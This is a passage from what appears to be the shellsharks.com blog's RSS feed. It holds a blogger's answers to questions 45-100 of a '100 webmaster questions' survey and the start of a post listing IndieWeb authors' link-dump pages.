&lt;p&gt;&lt;strong&gt;45. Do you keep everything you make on one website, or do you have more than one?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Monolithic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;46. On a similar note, do you keep to one topic on your site, or many?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Any and all topics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;47. Do you present your real self, or at least try? Or do you construct a persona on purpose?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I pride myself on being &lt;a href=&quot;https://shellsharks.com/why&quot;&gt;genuine&lt;/a&gt;, both in my writing and in person.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;48. Have you ever made a good friend thanks to your website?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Eh&lt;/em&gt;, I don’t know about that. But I have built a lot of cool relationships thanks to my site. So that’s neat!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;49. Are you happy with the way HTML and CSS currently work?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I like the design and functionality of my site. But there’s A LOT I want to improve, some of which I need time to do, and in other cases I need to &lt;em&gt;learn&lt;/em&gt; how to do it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;50. What are practices that you think people should avoid?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;All &lt;a href=&quot;https://shellsharks.com/web-page-annoyances&quot;&gt;these things&lt;/a&gt;. 😡&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;51. What about under-utilised practices, or things you think people should do more?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I don’t know if these are &lt;em&gt;under-utilized&lt;/em&gt; per say, but here’s a &lt;a href=&quot;https://shellsharks.com/good-sitekeeping&quot;&gt;bunch of things&lt;/a&gt; I recommend for folks to do while they are site building.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;52. Do you use a lot of semantic HTML? Or are you guilty of generic structure?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I discovered the concept of semantic HTML somewhat recently, and certainly after the first few iterations of my site’s overall design. I’ve incorporated some semantic HTML since then, but it hasn’t yet permeated the entirety of the site’s bones.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;53. Do you consider different browsers?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Consider&lt;/em&gt;? I use Chrome and Safari mostly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;54. Speaking of, what’s your preferred browser? Convince your readers why they should use it.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I use Safari on my personal computer and Chrome on the professional side.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;55. And what OS are you on?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;macOS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;56. Do you have a strong opinion on that, or do you just happen to use it?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I’m not a zealot or anything, but I love Mac and am not interested in anything else. Also, have you seen Windows lately? Complete dumpster fire. Aspirationally, I’d like to become a Linux user but in my few attempts to switch over I just haven’t found traction.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;57. Are your websites mobile-friendly?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I think so. I’ve tried to make it so and done &lt;em&gt;some&lt;/em&gt; testing. I have special mobile layouts too.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;58. What are your thoughts on autoplay?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Don’t like.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;59. What are your thoughts on webrings? Are you in any?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Love webrings! I’m in a &lt;a href=&quot;https://shellsharks.com/#webrings&quot;&gt;bunch&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;60. Do you have any web shrines? What do you like to see in that sort of page?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I’ve never considered any of my pages/posts a “web shrine”. But I do have some things maybe you could consider &lt;em&gt;shrine-ey&lt;/em&gt;?&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/shellsharks-logo&quot;&gt;The Shellsharks Logo Chronicles&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/shellsharks-doodles&quot;&gt;Shellsharks Doodles&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;61. Are your websites “cliche”, in your opinion?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Nah.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;62. What is your ideal website? Are you striving for that, or for something else?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Hmm&lt;/em&gt;… I’d say the “ideal” website has…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Unique design / &lt;em&gt;some&lt;/em&gt; unique characteristics. &lt;a href=&quot;https://shellsharks.com/good-sitekeeping#whimsy&quot;&gt;Whimsy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;A &lt;a href=&quot;https://shellsharks.com/multiplicity-of-writing&quot;&gt;mix of content types&lt;/a&gt; (e.g. personal journals, niche/technical posts, link dumps, etc…)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/devlog/site-search&quot;&gt;Search&lt;/a&gt; capability&lt;/li&gt;
  &lt;li&gt;As much of &lt;a href=&quot;https://shellsharks.com/good-sitekeeping&quot;&gt;this stuff&lt;/a&gt; as you can throw in&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;My site has these things and is ideal for me.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;63. Are you an artist? Do you draw or design your own assets?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Oh &lt;u&gt;absolutely&lt;/u&gt;. Is it &lt;em&gt;good&lt;/em&gt; art? Well, I’ll let you be the judge of &lt;a href=&quot;https://shellsharks.com/devlog/build-then-smile#the-artwork&quot;&gt;that&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;64. What are your favourite resource sites?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not sure what this question means exactly. But I have a lot of IndieWeb resources I keep listed &lt;a href=&quot;https://shellsharks.com/indieweb#resources&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;65. Is there a habit you just can’t get away from no matter how hard you try?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here’s a bunch of my &lt;a href=&quot;https://shellsharks.com/writing-mannerisms&quot;&gt;writing mannerisms&lt;/a&gt;, some of which I try to get away from and others that are just unique to how I go about things.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;66. What’s your biggest advice for a new webmaster?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://shellsharks.com/you-should-blog#what-not-to-worry-about&quot;&gt;Don’t worry&lt;/a&gt; about doing everything, or being perfect. Just &lt;a href=&quot;https://shellsharks.com/just-put-it-on-your-blog&quot;&gt;add things&lt;/a&gt; little by little. &lt;a href=&quot;https://shellsharks.com/notes/2024/05/01/be-yourself&quot;&gt;Be yourself&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;67. Do you keep all your styling in CSS? Or do you hard-code some?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Some of it is tucked away in CSS files, and unfortunately too much of it is still in-line.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;68. What do you think of frameset layouts?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Don’t know much about ‘em.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;69. How about table-based layouts?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Don’t know much about these either. I use a CSS grid kinda thing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;70. Do you subscribe to the ideas of “one-column”, “two-column” and “three-column” layouts? Do you use any of these?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yes I like and use these in certain situations. My mobile layout is exclusively single-column. But as the device size gets bigger, you will see content start to spread across multiple columns, especially as it pertains to my &lt;a href=&quot;https://shellsharks.com/whats-a-home-page&quot;&gt;home page&lt;/a&gt;. I like the idea of ToC’s and sidenotes populating side columns for post content too (though I haven’t gotten around to implementing this sort of thing yet).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;71. Do you spend longer on the HTML or the CSS?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No idea. Probably the CSS though because it’s maddening.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;72. Have you ever made a page with no CSS? It’s useful for your thoughts.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I have a number of .txt pages if that counts (e.g. &lt;a href=&quot;https://shellsharks.com/humans.txt&quot;&gt;humans.txt&lt;/a&gt;). Most of my site is &lt;a href=&quot;https://shellsharks.com/style&quot;&gt;styled&lt;/a&gt; though.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;73. Do you ever find yourself making layouts with nothing to put on them? Or do you only make layouts when the need arises?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Don’t think I’ve ever made a layout I didn’t have something already in mind for.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;74. Would you consider yourself a beginner? Or advanced? Somewhere in the middle?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In terms of having a site in-general, I’d say I’m upper-intermediate at this point. There are some aspects of site design / webmastering / site-building that I am still not so good at to be honest.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;75. Do you have a habit of looking at the source code of websites you visit?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I wouldn’t say it’s a habit. But I do do it on occasion. It’s a &lt;a href=&quot;https://localghost.dev/blog/this-page-is-under-construction/&quot;&gt;good thing to do&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;76. How did YOU learn how to make websites?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A long time ago I learned the old fashioned way, hand-jamming HTML tags directly into a notepad plaintext file. But in terms of my current site, I’ve learned kinda on-the-go. A mix of reading official documentation, W3schools, stack overflow, etc…&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;77. Do you ever force elements to do things they’re not supposed to?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not sure. But I do use plenty of outdated HTML elements 😅.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;78. Thoughts on floating elements?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Floating how? Like CSS floating things in one direction or not in a container? Or visually “floating” on page? Not sure how to answer this one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;79. When you’re sizing stuff, what do you use first? Do you use px, em, %, or something else?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Whatever works. All of the above.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;80. Do you have a favourite font?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not really. Maybe something in the Helvetica family?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;81. Would you run a website with another person? How would that work?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sure&lt;/em&gt;, for a project or something that we had a mutual interest in.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;82. Do you surf the Web to find new personal websites very often?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Sometimes I’m very active in my surfing/exploring. Other times I’m not. My &lt;a href=&quot;https://shellsharks.com/infosec-blogs&quot;&gt;infosec sites&lt;/a&gt;, &lt;span class=&quot;shellsharks&quot;&gt;&lt;a href=&quot;https://shellsharks.com/scrolls&quot;&gt;Scrolls&lt;/a&gt;&lt;/span&gt; and &lt;a href=&quot;https://shellsharks.com/linklog&quot;&gt;Linklog&lt;/a&gt; are a few examples of the product of this surfing though.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;83. Do you bookmark other people’s websites? How would you feel knowing someone else bookmarked yours?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Yep&lt;/em&gt;! I &lt;a href=&quot;https://shellsharks.com/bookmarks&quot;&gt;bookmark&lt;/a&gt; them, subscribe via &lt;a href=&quot;https://shellsharks.com/an-ode-to-rss&quot;&gt;RSS&lt;/a&gt;, add to specific lists, etc… I love seeing when other people bookmark, reference, or add my site to theirs in some way too!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;84. What do you want people to be most impressed with when they see your website?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Maybe &lt;a href=&quot;https://shellsharks.com/devlog/build-then-smile&quot;&gt;these things&lt;/a&gt;?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;85. Are you interested in technology outside of websites? Do you collect?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yep. I’ve always been into Apple, desk setups, infosec, computing-in-general, that sorta thing. Can’t say I really have any tech-related collections.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;86. How often and for how long are you online?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Too much&lt;/em&gt;. Basically all day except for when I’m at the gym, sleeping, or spending time with the family.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;87. When it comes to your website, who is your target audience?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Everyone&lt;/strong&gt;. I write about infosec, technology and life-in-general.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;88. Have you ever been interested in XHTML?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not specifically, no.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;89. Do you program in general? Have you ever written a program for use with or on your website, not counting simple JavaScript?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I don’t have any “programs” on my site (unless you count some shoddy JS code as a “program”). I &lt;em&gt;can&lt;/em&gt; program, but mostly have simple JS and Liquid stuff on the site.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;90. Speaking of programs that help you make websites, what do you think of static site generators (SSGs)? Have you ever used one?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yes. Love! I use &lt;a href=&quot;https://jekyllrb.com&quot;&gt;Jekyll&lt;/a&gt;. 🧡&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;91. Do you keep a hitcounter? Why or why not?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No. Don’t care. I’m more interested in people directly messaging me.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;92. Do you frequent forums? Which ones?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not THAT frequently. But I &lt;em&gt;am&lt;/em&gt; a patron of &lt;a href=&quot;https://infosec.pub&quot;&gt;infosec.pub&lt;/a&gt; and &lt;a href=&quot;https://discourse.32bit.cafe&quot;&gt;32-Bit Cafe&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;93. Do you write your page content directly into the editor, or do you prepare it elsewhere, like a text document or a Word document?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I &lt;a href=&quot;https://shellsharks.com/uses&quot;&gt;use&lt;/a&gt; VSCode and git. Here’s some other how-I-do-things-related docs…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/architecture&quot;&gt;Site Architecture&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/blogging-from-ipad&quot;&gt;Blogging from my iPad&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/get-to-know-my-blog&quot;&gt;Get to know my blog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;94. Do you think you appear cool to others? A more accurate answer now: do other people ever say you’re cool?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I’m sure there’s &lt;a href=&quot;https://shellsharks.com/kindness&quot;&gt;someone&lt;/a&gt; out there who thinks the things I do are cool. Or maybe it’s just me.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;95. Are you embarrassed of your old work? Have you ever deleted everything out of shame?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Nah&lt;/em&gt;. If there is any of my old work that I don’t like though I tend to update it, so that keeps the embarassing stuff to a minimum.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;96. Would you close down your website if you couldn’t update it, or would you leave an archive?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I’d like to have my site available &lt;u&gt;indefinitely&lt;/u&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;97. Do you reveal a lot about yourself on your website? Or are you more secretive?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I’m relatively open book. I don’t put a lot of pictures of myself but I do post a fair bit about what &lt;a href=&quot;https://shellsharks.com/captains-log&quot;&gt;I’m up to personally&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;98. Are you willing to reveal who your best online friend is, and/or if they have a website?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I don’t think I have an online-specific “best friend”. I’ve started to build some friendlier online relationships thanks to projects like &lt;span class=&quot;shellsharks&quot;&gt;&lt;a href=&quot;https://shellsharks.com/scrolls&quot;&gt;Scrolls&lt;/a&gt;&lt;/span&gt; though.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;99. And do you optimise the images on your website?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I don’t really. Most of my images are stored in an S3 bucket and pulled in from there.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;100. We’re out of time! How do you feel after answering 100 questions? ….other than exhausted.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It’s a lot! But once you get in the groove of things you can answer 100 questions pretty quickly.&lt;/p&gt;
</description>
        <pubDate>Tue, 03 Feb 2026 11:08:00 -0500</pubDate>
        <link>https://shellsharks.com/100-webmaster-questions</link>
        <guid isPermaLink="true">https://shellsharks.com/100-webmaster-questions</guid>
        
        <category>technology</category>
        
        <category>indieweb</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Link Dumps</title>
        <shark:summary><p>I love the <a href="https://shellsharks.com/indieweb">IndieWeb</a> 🧡. For a lot of reasons—but one thing I <em>particularly</em> enjoy (as I’ve mentioned <a href="https://shellsharks.com/scrolls/scroll/2025-02-14">here</a> and <a href="https://shellsharks.com/scrolls/scroll/2025-03-07">here</a> for example) is the practice of “<strong>link-dumping</strong>”. Links are <a href="https://shellsharks.com/hyperlink-travel">great</a>, and in a world where search engines have just become essentially AI summary slop machines, having <em>real</em>, hard links to <em>actual</em> websites made by <u>humans</u> is a valuable thing. But discovery is tough. Singularly finding NON-AI slopsites is an exercise in itself. But collectively, we can make surfing easier and dare I say, kinda <em>fun</em> again?</p>
</shark:summary>
        <description>&lt;p&gt;I love the &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt; 🧡. For a lot of reasons—but one thing I &lt;em&gt;particularly&lt;/em&gt; enjoy (as I’ve mentioned &lt;a href=&quot;https://shellsharks.com/scrolls/scroll/2025-02-14&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://shellsharks.com/scrolls/scroll/2025-03-07&quot;&gt;here&lt;/a&gt; for example) is the practice of “&lt;strong&gt;link-dumping&lt;/strong&gt;”. Links are &lt;a href=&quot;https://shellsharks.com/hyperlink-travel&quot;&gt;great&lt;/a&gt;, and in a world where search engines have just become essentially AI summary slop machines, having &lt;em&gt;real&lt;/em&gt;, hard links to &lt;em&gt;actual&lt;/em&gt; websites made by &lt;u&gt;humans&lt;/u&gt; is a valuable thing. But discovery is tough. Singularly finding NON-AI slopsites is an exercise in itself. But collectively, we can make surfing easier and dare I say, kinda &lt;em&gt;fun&lt;/em&gt; again?&lt;/p&gt;

&lt;p&gt;This brings me back to this concept of &lt;em&gt;link dumps&lt;/em&gt;. It’s easy enough to understand—all it is, is where you put a bunch of links to other things on the web and publish/share it (typically on your own site, but honestly could work in a social media setting too). &lt;em&gt;Done!&lt;/em&gt; Sharing links is a great way to strengthen the interconnected “web” of the Internet, lessen reliance on big tech “search” (&lt;em&gt;heavy sarcasm here&lt;/em&gt;) engines, boost other creators work, build community, and discover awesome people and things on the web. Who wouldn’t like that!?&lt;/p&gt;

&lt;p&gt;A few things to note about what makes a &lt;em&gt;link dump&lt;/em&gt;. It just needs to be a bunch of links. &lt;em&gt;Easy&lt;/em&gt;. It doesn’t HAVE to be published weekly or at any set cadence and it can really just be in a list or, if you want, could have more &lt;a href=&quot;https://shellsharks.com/scrolls&quot;&gt;narrative style&lt;/a&gt; to it. So, here we go! Below is a link dump of link dumps! Happy surfin’ 🤙&lt;/p&gt;

&lt;h2 id=&quot;link-dump-list&quot;&gt;Link Dump List&lt;/h2&gt;

&lt;p&gt;A list of link dumps from cool indieweb folks (in no real particular order).&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://localghost.dev/tags/links/&quot;&gt;Good links&lt;/a&gt; from &lt;a href=&quot;https://localghost.dev/about/&quot;&gt;Sophie&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://joelchrono.xyz/tags/weeknotes&quot;&gt;weeknotes&lt;/a&gt; from &lt;a href=&quot;https://joelchrono.xyz/about/&quot;&gt;Joel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kaigulliksen.com/link-dump-january-2026/&quot;&gt;Link Dump&lt;/a&gt; from &lt;a href=&quot;https://kaigulliksen.com&quot;&gt;Kai&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://axxuy.xyz/tags/roundup/&quot;&gt;in Review&lt;/a&gt; from &lt;a href=&quot;https://axxuy.xyz/contact/&quot;&gt;axxuy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://felix.gripe/tags/#tag-weeknotes&quot;&gt;weeknotes&lt;/a&gt; from &lt;a href=&quot;https://felix.gripe/about/&quot;&gt;Felix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://burgeonlab.com/weeknotes/&quot;&gt;Weeknotes&lt;/a&gt; from &lt;a href=&quot;https://burgeonlab.com/about/&quot;&gt;Burgeon Lab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://stevenbrady.com/blog/weekly-recap-2025w42&quot;&gt;Weekly Recap&lt;/a&gt; from &lt;a href=&quot;https://stevenbrady.com&quot;&gt;Steven&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thejeshgn.com/2025/10/10/weekly-notes-41-2025/&quot;&gt;Weekly Notes&lt;/a&gt; from &lt;a href=&quot;https://thejeshgn.com/about/&quot;&gt;Thejesh&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wersdoerfer.de/blogs/ephes_blog/weeknotes-2025-07-28-sentinel-values-indieweb-updates-and-new-hardware/&quot;&gt;Weeknotes&lt;/a&gt; from &lt;a href=&quot;https://wersdoerfer.de&quot;&gt;Jochen and Katharina&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://michael.kjorling.se/blog/tag/links/&quot;&gt;Links&lt;/a&gt; from &lt;a href=&quot;https://michael.kjorling.se&quot;&gt;Michael&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://anhvn.com/posts/2025/weeknotes-33/&quot;&gt;Weeknotes&lt;/a&gt; from &lt;a href=&quot;https://anhvn.com/about/&quot;&gt;anh&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://notes.krueger.ink/posts/week-notes-no-2425&quot;&gt;Week Notes&lt;/a&gt; from &lt;a href=&quot;https://notes.krueger.ink&quot;&gt;Kerri&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Weekly &lt;a href=&quot;https://lostfocus.de/2025/05/04/2025-w18-success/&quot;&gt;link dump&lt;/a&gt; from &lt;a href=&quot;https://dominikschwind.com&quot;&gt;Dominik&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tracydurnell.com/category/weeknotes/&quot;&gt;Weeknotes&lt;/a&gt; from &lt;a href=&quot;https://tracydurnell.com/about/&quot;&gt;Tracy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.lmorchard.com/tag/miscellanea/&quot;&gt;Miscellanea&lt;/a&gt; from &lt;a href=&quot;https://lmorchard.com&quot;&gt;Les&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tahimik.com/journal/week-note-35&quot;&gt;Week Note&lt;/a&gt; from &lt;a href=&quot;https://tahimik.com/about&quot;&gt;tahimik&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eli.li/something-something-something-week-notes&quot;&gt;week notes&lt;/a&gt; from &lt;a href=&quot;https://eli.li/portal&quot;&gt;eli&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zoeaubert.me/tags/monthly-notes/&quot;&gt;Monthly Notes&lt;/a&gt; from &lt;a href=&quot;https://zoeaubert.me&quot;&gt;Zoe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://andreabergia.com/tags/links-list/&quot;&gt;Links list&lt;/a&gt; from &lt;a href=&quot;https://andreabergia.com/about/&quot;&gt;Andrea&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://abhinavsarkar.net/linkblog/&quot;&gt;Link Blog&lt;/a&gt; from &lt;a href=&quot;https://abhinavsarkar.net/about/&quot;&gt;Abhinav&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lazaruscorporation.co.uk/blogs/artists-notebook/tagged/link-dump&quot;&gt;Link Dump&lt;/a&gt; from &lt;a href=&quot;https://www.lazaruscorporation.co.uk/artists/paul-watson&quot;&gt;Paul&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://elizabethtai.com/category/link-blog/&quot;&gt;Link Blog&lt;/a&gt; from &lt;a href=&quot;https://elizabethtai.com/start-here/&quot;&gt;Elizabeth&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://82mhz.net/posts/2026/01/linkdump-no-91/&quot;&gt;Linkdump&lt;/a&gt; from &lt;a href=&quot;https://82mhz.net&quot;&gt;Andreas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://britthub.co.uk/a-gathering-of-links-4/&quot;&gt;A Gathering of Links&lt;/a&gt; from &lt;a href=&quot;https://britthub.co.uk/about/&quot;&gt;Britt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fyr.io/scraps&quot;&gt;Scraps&lt;/a&gt; by &lt;a href=&quot;https://fyr.io/about&quot;&gt;Fyr&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://moule.world/links.php&quot;&gt;Links&lt;/a&gt; from &lt;a href=&quot;https://moule.world/about.php&quot;&gt;MOULE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thomasrigby.com/tags/weeknotes/&quot;&gt;weeknotes&lt;/a&gt; from &lt;a href=&quot;https://thomasrigby.com&quot;&gt;Thom&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kedara.eu/bookmarks/2025-11/&quot;&gt;Personal web finds&lt;/a&gt; from &lt;a href=&quot;https://kedara.eu&quot;&gt;Ruben&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dreamindani.com/posts/bookmark-beat-ep24&quot;&gt;Bookmark Beat&lt;/a&gt; from &lt;a href=&quot;https://dreamindani.com/&quot;&gt;Dani&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://brettterpstra.com/2025/02/15/web-excursions-for-february-15th-2025/&quot;&gt;Web Excursions&lt;/a&gt; from &lt;a href=&quot;https://brettterpstra.com/contact/&quot;&gt;Brett&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mihobu.lol/weeknotes-week-07-2025&quot;&gt;Weeknotes&lt;/a&gt; from &lt;a href=&quot;https://mihobu.lol/weeknotes-week-07-2025&quot;&gt;Michael&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://piccalil.li/the-index/&quot;&gt;The Index&lt;/a&gt; from &lt;a href=&quot;https://piccalil.li/about/&quot;&gt;Piccalilli&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.adamsdesk.com/topic/littlebits/&quot;&gt;Littlebits&lt;/a&gt; from &lt;a href=&quot;https://www.adamsdesk.com/about/&quot;&gt;Adam&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://benjaminhollon.com/weeknotes/2026-W06/&quot;&gt;Weeknotes&lt;/a&gt; from &lt;a href=&quot;https://benjaminhollon.com&quot;&gt;Benjamin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rknight.me/blog/tags/weeknotes/&quot;&gt;Weeknotes&lt;/a&gt; from &lt;a href=&quot;https://rknight.me/about/&quot; class=&quot;rknight me&quot;&gt;Robb&lt;/a&gt;&lt;/li&gt;
